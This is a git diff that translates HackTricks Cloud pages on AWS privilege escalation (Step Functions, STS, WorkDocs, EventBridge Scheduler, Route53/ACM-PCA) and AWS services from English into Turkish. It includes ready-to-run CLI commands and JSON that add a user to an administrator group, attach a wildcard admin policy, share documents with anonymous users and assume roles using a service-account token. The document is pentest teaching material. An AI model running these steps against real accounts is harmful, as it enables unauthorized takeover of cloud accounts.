olmalıdır. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (her zaman gerekli değil) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükseltmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükseltmesi başarılı olacaktır. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşacaktır: +1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımı yeterli olacaktır. +2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine de ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Aşağıdaki örnekler, sadece bir HelloWorld Lambda fonksiyonunu çağıran meşru bir durum makinesini güncelleyerek, kullanıcı **`unprivilegedUser`**'ı **`administrator`** IAM Grubuna ekleyen ek bir durum eklemeyi göstermektedir. Bu şekilde, meşru bir kullanıcı güncellenmiş durum makinesinin bir yürütmesini başlattığında, bu yeni kötü niyetli gizli durum çalıştırılacak ve ayrıcalık yükseltme başarılı olacaktır. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Eğer durum makinesi ile ilişkili bir izinli IAM Rolü yoksa, izinli bir IAM Rolü ile ilişkilendirmek için **`iam:PassRole`** izni de gerekecektir (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmiş bir rol). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Kötü Amaçlı Güncellenmiş Durum Makinesi" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Komut** **geçerli durum makinesini** **güncellemek** için **çalıştırıldı**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, potansiyel olarak önemli güvenlik ihlallerine yol açabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..1e57acf46 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Her rol, bir **rol güven politikası** ile oluşturulur, bu politika **oluşturulan rolü kimin üstlenebileceğini** belirtir. Eğer **aynı hesap** içindeki bir rol, bir hesabın onu üstlenebileceğini söylüyorsa, bu, o hesabın role erişebileceği (ve potansiyel olarak **privesc** yapabileceği) anlamına gelir. +Örneğin, aşağıdaki rol güven politikası, herkesin onu üstlenebileceğini belirtir, bu nedenle **herhangi bir kullanıcı, o rolle ilişkili izinlere privesc yapabilecektir.** ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Bir rolü taklit edebilirsiniz: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Potansiyel Etki:** Rol için Privesc. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Bu durumda, izin `sts:AssumeRole` **istismar edilecek rolde belirtilmelidir** ve saldırganın politikasında değil.\ +> Bir istisna ile, **farklı bir hesaptan bir rolü üstlenmek için** saldırgan hesabının **aynı zamanda** rol üzerinde **`sts:AssumeRole`** iznine sahip olması **gerekir**. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +Bu izinle, herhangi bir kullanıcıyı taklit etmek için kimlik bilgileri oluşturmak mümkündür: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +Bu izin, diğer kullanıcıları taklit etme erişimi vermeden güvenli bir şekilde nasıl verilebilir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Bu rol ile bir güven politikası, **SAML aracılığıyla kimlik doğrulaması yapılmış kullanıcılara rolü taklit etme erişimi verir.** +Bu izne sahip bir güven politikası örneği: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Genel olarak, rolü taklit etmek için kimlik bilgileri oluşturmak için şunları kullanabilirsiniz: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Ama **sağlayıcılar** bunu kolaylaştırmak için **kendi araçlarına** sahip olabilir, örneğin [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Olası Etki:** Rol için Privesc. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +Bu izin, **mobil, web uygulaması, EKS...** ile bir web kimlik sağlayıcısında kimlik doğrulaması yapılmış kullanıcılar için geçici güvenlik kimlik bilgileri seti alma izni verir. [Buradan daha fazla bilgi edinin.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Örneğin, eğer bir **EKS hizmet hesabı** bir **IAM rolünü taklit edebilmesi** gerekiyorsa, **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** içinde bir token'a sahip olacak ve rolü **üstlenip kimlik bilgilerini alabilir**. ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Federasyon İstismarı {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..7bb0425a1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +WorkDocs hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Belirtilen Dizin içinde bir kullanıcı oluşturun, ardından hem WorkDocs'a hem de AD'ye erişiminiz olacak: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Dosyalar hassas bilgiler içerebilir, bunları okuyun: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Eğer bir şeyi okumak için erişiminiz yoksa, onu sadece verebilirsiniz. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Bir kullanıcıyı ZOCALO_ADMIN grubuna ekleyerek admin yapabilirsiniz.\ +Bunun için [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) adresindeki talimatları izleyin. +O kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresinden admin paneline erişin. +Bunu cli üzerinden yapmanın bir yolunu bulamadım. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..f3c46eea6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Daha fazla bilgi için EventBridge Scheduler hakkında: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Bu izinlere sahip bir saldırgan, **`oluştur`|`güncelle` bir zamanlayıcı ve ona bağlı zamanlayıcı rolünün izinlerini kötüye kullanarak herhangi bir eylemi gerçekleştirme** yeteneğine sahip olacaktır. +Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde yapılandırabilir** ki bu, şablonlanmış bir eylemdir: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +EventBridge Scheduler'da şablonlu hizmet eylemlerine ek olarak, birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**putRolePolicy**" politikasına sahip bir rol kullanarak "**AdminAccessPolicy**" eklemek için evrensel hedeflerin kullanılabilir: ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Referanslar - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..5caa21d5a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Route53 hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Bu saldırıyı gerçekleştirmek için hedef hesapta zaten bir [**AWS Sertifika Yöneticisi Özel Sertifika Otoritesi**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** kurulmuş olmalıdır ve VPC'deki EC2 örnekleri sertifikaları güvenilir hale getirmek için içe aktarmış olmalıdır. Bu altyapı mevcut olduğunda, AWS API trafiğini kesmek için aşağıdaki saldırı gerçekleştirilebilir. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Diğer izinler **enumeration** kısmı için önerilir ancak zorunlu değildir: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere özel bir CA olmalıdır. **Bunun için ACM-PCA kullanılıyorsa** ve düşman **yukarıda tanımlanan minimum izin seti ile hem route53 hem de acm-pca özel CA'yı kontrol etme erişimi elde ederse**, AWS API'ye yapılan uygulama çağrılarını **ele geçirebilir** ve IAM izinlerini devralabilir. -This is possible because: +Bu mümkündür çünkü: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- AWS SDK'ları [Sertifika Pinleme](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) özelliğine sahip değildir +- Route53, AWS API alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir +- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifikaları imzalamakla kısıtlanamaz -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Olası Etki:** Trafikteki hassas bilgileri keserek dolaylı privesc. #### Exploitation -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Sömürü adımlarını orijinal araştırmada bulabilirsiniz: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..52c40c4fa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,35 +1,31 @@ -# AWS - Services +# AWS - Hizmetler {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Hizmet Türleri -### Container services +### Konteyner Hizmetleri -Services that fall under container services have the following characteristics: +Konteyner hizmetleri aşağıdaki özelliklere sahiptir: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- Hizmet kendisi **ayrı altyapı örnekleri** üzerinde çalışır, örneğin EC2. +- **AWS**, **işletim sistemi ve platformun yönetiminden** sorumludur. +- AWS tarafından sağlanan yönetilen bir hizmet, genellikle **konteyner olarak görülen gerçek uygulama için** hizmetin kendisidir. +- Bu konteyner hizmetlerinin bir kullanıcısı olarak, **ağ erişim güvenliği, ağ erişim kontrol listesi kuralları ve herhangi bir güvenlik duvarı gibi** bir dizi yönetim ve güvenlik sorumluluğunuz vardır. +- Ayrıca, var olduğu yerde platform düzeyinde kimlik ve erişim yönetimi. +- **AWS** konteyner hizmetlerine örnekler arasında İlişkisel Veritabanı Hizmeti, Elastic Mapreduce ve Elastic Beanstalk bulunmaktadır. -### Abstract Services +### Soyut Hizmetler -- These services are **removed, abstracted, from the platform or management layer which cloud applications are built on**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **underlying infrastructure, operating system, and platform is managed by AWS**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **Data is isolated via security mechanisms**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- Bu hizmetler, **bulut uygulamalarının inşa edildiği platform veya yönetim katmanından çıkarılmış, soyutlanmıştır**. +- Hizmetler, AWS uygulama programlama arayüzleri (API'ler) kullanılarak uç noktalar aracılığıyla erişilir. +- **Temel altyapı, işletim sistemi ve platform AWS tarafından yönetilmektedir**. +- Soyutlanmış hizmetler, temel altyapının paylaşıldığı çok kiracılı bir platform sağlar. +- **Veri, güvenlik mekanizmaları aracılığıyla izole edilir**. +- Soyut hizmetler, IAM ile güçlü bir entegrasyona sahiptir ve **soyut hizmetlere** örnekler arasında S3, DynamoDB, Amazon Glacier ve SQS bulunmaktadır. -## Services Enumeration +## Hizmetlerin Sayımı -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Burada hizmet hakkında bilgi bulabileceksiniz (nasıl çalıştığı ve yetenekleri) ve bu, yetkilerinizi artırmanıza olanak tanıyacaktır.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 09aa42d7c..2e8c23836 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -4,40 +4,39 @@ ## API Gateway -### Basic Information +### Temel Bilgiler -AWS API Gateway is a comprehensive service offered by Amazon Web Services (AWS) designed for developers to **create, publish, and oversee APIs on a large scale**. It functions as an entry point to an application, permitting developers to establish a framework of rules and procedures. This framework governs the access external users have to certain data or functionalities within the application. +AWS API Gateway, geliştiricilerin **büyük ölçekli API'ler oluşturmasına, yayınlamasına ve denetlemesine** olanak tanıyan Amazon Web Services (AWS) tarafından sunulan kapsamlı bir hizmettir. Uygulamaya giriş noktası olarak işlev görür ve geliştiricilerin bir dizi kural ve prosedür belirlemesine izin verir. Bu çerçeve, dış kullanıcıların uygulama içindeki belirli verilere veya işlevlere erişimini yönetir. -API Gateway enables you to define **how requests to your APIs should be handled**, and it can create custom API endpoints with specific methods (e.g., GET, POST, PUT, DELETE) and resources. It can also generate client SDKs (Software Development Kits) to make it easier for developers to call your APIs from their applications. +API Gateway, **API'lerinize gelen isteklerin nasıl işleneceğini tanımlamanıza** olanak tanır ve belirli yöntemler (örneğin, GET, POST, PUT, DELETE) ve kaynaklarla özel API uç noktaları oluşturabilir. Ayrıca, geliştiricilerin API'lerinizi uygulamalarından çağırmasını kolaylaştırmak için istemci SDK'ları (Yazılım Geliştirme Kitleri) oluşturabilir. -### API Gateways Types +### API Gateway Türleri -- **HTTP API**: Build low-latency and cost-effective REST APIs with built-in features such as OIDC and OAuth2, and native CORS support. Works with the following: Lambda, HTTP backends. -- **WebSocket API**: Build a WebSocket API using persistent connections for real-time use cases such as chat applications or dashboards. Works with the following: Lambda, HTTP, AWS Services. -- **REST API**: Develop a REST API where you gain complete control over the request and response along with API management capabilities. Works with the following: Lambda, HTTP, AWS Services. -- **REST API Private**: Create a REST API that is only accessible from within a VPC. +- **HTTP API**: OIDC ve OAuth2 gibi yerleşik özellikler ve yerel CORS desteği ile düşük gecikmeli ve maliyet etkin REST API'leri oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP arka uçları. +- **WebSocket API**: Sohbet uygulamaları veya panolar gibi gerçek zamanlı kullanım senaryoları için kalıcı bağlantılar kullanarak bir WebSocket API'si oluşturun. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri. +- **REST API**: İstek ve yanıt üzerinde tam kontrol elde ettiğiniz ve API yönetim yeteneklerine sahip bir REST API geliştirin. Aşağıdakilerle çalışır: Lambda, HTTP, AWS Hizmetleri. +- **REST API Özel**: Sadece bir VPC içinden erişilebilen bir REST API oluşturun. -### API Gateway Main Components +### API Gateway Ana Bileşenleri -1. **Resources**: In API Gateway, resources are the components that **make up the structure of your API**. They represent **the different paths or endpoints** of your API and 